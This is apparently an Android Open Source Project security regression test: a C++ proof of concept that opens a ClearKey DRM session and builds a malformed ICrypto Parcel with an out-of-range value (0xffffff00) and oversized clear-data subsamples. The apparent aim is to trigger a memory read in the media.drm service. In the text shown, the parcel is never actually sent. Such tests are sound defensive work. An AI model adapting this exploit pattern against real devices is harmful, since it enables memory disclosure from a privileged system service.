1 /**
2 * Copyright (C) 2019 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16 #include <binder/IServiceManager.h>
17 #include <binder/MemoryDealer.h>
18 #include <mediadrm/ICrypto.h>
19 #include <mediadrm/IDrm.h>
20 #include <mediadrm/IMediaDrmService.h>
21
22 using namespace android;
23
24 template <typename T>
mediaPoc(BpInterface<T> * sit)25 void mediaPoc(BpInterface<T> *sit) {
26 Parcel data, reply;
27 data.writeInterfaceToken(sit->getInterfaceDescriptor());
28 data.writeInt32(0);
29 data.writeInt32(0);
30 static const uint8_t kDummy[16] = {0};
31 data.write(kDummy, 16);
32 data.write(kDummy, 16);
33 const int wsize = 16 * 1024;
34 sp<MemoryDealer> dealer = new MemoryDealer(wsize);
35 sp<IMemory> memory = dealer->allocate(wsize);
36 data.writeInt32(wsize);
37 data.writeStrongBinder(IInterface::asBinder(memory));
38 const int ss = 0x1;
39 data.writeInt32(0xffffff00);
40 data.writeInt32(ss);
41 CryptoPlugin::SubSample samples[ss];
42 for (int i = 0; i < ss; i++) {
43 samples[i].mNumBytesOfEncryptedData = 0;
44 samples[i].mNumBytesOfClearData = wsize;
45 }
46 data.write(samples, sizeof(CryptoPlugin::SubSample) * ss);
47 char out[wsize] = {0};
48 reply.read(out, wsize);
49 }
50
51 static const uint8_t kClearKeyUUID[16] = {0x10, 0x77, 0xEF, 0xEC, 0xC0, 0xB2,
52 0x4D, 0x02, 0xAC, 0xE3, 0x3C, 0x1E,
53 0x52, 0xE2, 0xFB, 0x4B};
54
main(void)55 int main(void) {
56 status_t st;
57 sp<ICrypto> crypto =
58 interface_cast<IMediaDrmService>(
59 defaultServiceManager()->getService(String16("media.drm")))
60 ->makeCrypto();
61
62 sp<IDrm> drm = interface_cast<IMediaDrmService>(
63 defaultServiceManager()->getService(String16("media.drm")))
64 ->makeDrm();
65
66 Vector<uint8_t> sess;
67 st = drm->createPlugin(kClearKeyUUID, (String8) "test");
68 st = drm->openSession(DrmPlugin::kSecurityLevelMax, sess);
69 st = crypto->createPlugin(kClearKeyUUID, sess.array(), sess.size());
70 BpInterface<ICrypto> *sit = static_cast<BpInterface<ICrypto> *>(crypto.get());
71 mediaPoc(sit);
72 return 0;
73 }
74